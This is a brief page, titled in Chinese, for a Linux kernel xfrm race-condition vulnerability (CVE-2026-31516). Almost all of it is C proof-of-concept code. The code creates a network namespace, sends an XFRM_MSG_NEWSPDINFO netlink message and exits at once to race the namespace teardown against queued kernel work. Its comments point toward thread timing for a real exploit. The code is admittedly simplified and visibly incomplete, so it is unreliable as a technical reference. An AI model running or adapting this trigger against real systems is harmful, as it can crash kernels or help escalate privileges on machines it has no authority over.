CVE-2026-31516 Linux内核xfrm竞态条件漏洞

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> // Conceptual PoC for CVE-2026-31516 // Triggers the race condition between xfrm work queue and netns teardown. int main() { int fd; struct sockaddr_nl sa; char buf[1024]; struct nlmsghdr *nh; // Step 1: Create a new network namespace to isolate the target if (unshare(CLONE_NEWNET) != 0) { perror("unshare"); return 1; } // Step 2: Setup Netlink socket to communicate with XFRM subsystem fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) return -1; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(fd, (struct sockaddr *)&sa, sizeof(sa)); // Step 3: Send XFRM_MSG_NEWSPDINFO to queue policy_hthresh.work memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; nh->nlmsg_type = XFRM_MSG_NEWSPDINFO; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; nh->nlmsg_len = NLMSG_SPACE(sizeof(struct xfrm_userpolicy_info)); // Simplified header sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); close(fd); // Step 4: Race condition - Trigger teardown immediately // In a real exploit, threads would be used to precisely time this. // Here, exiting the process tears down the netns, racing against the workqueue. return 0; }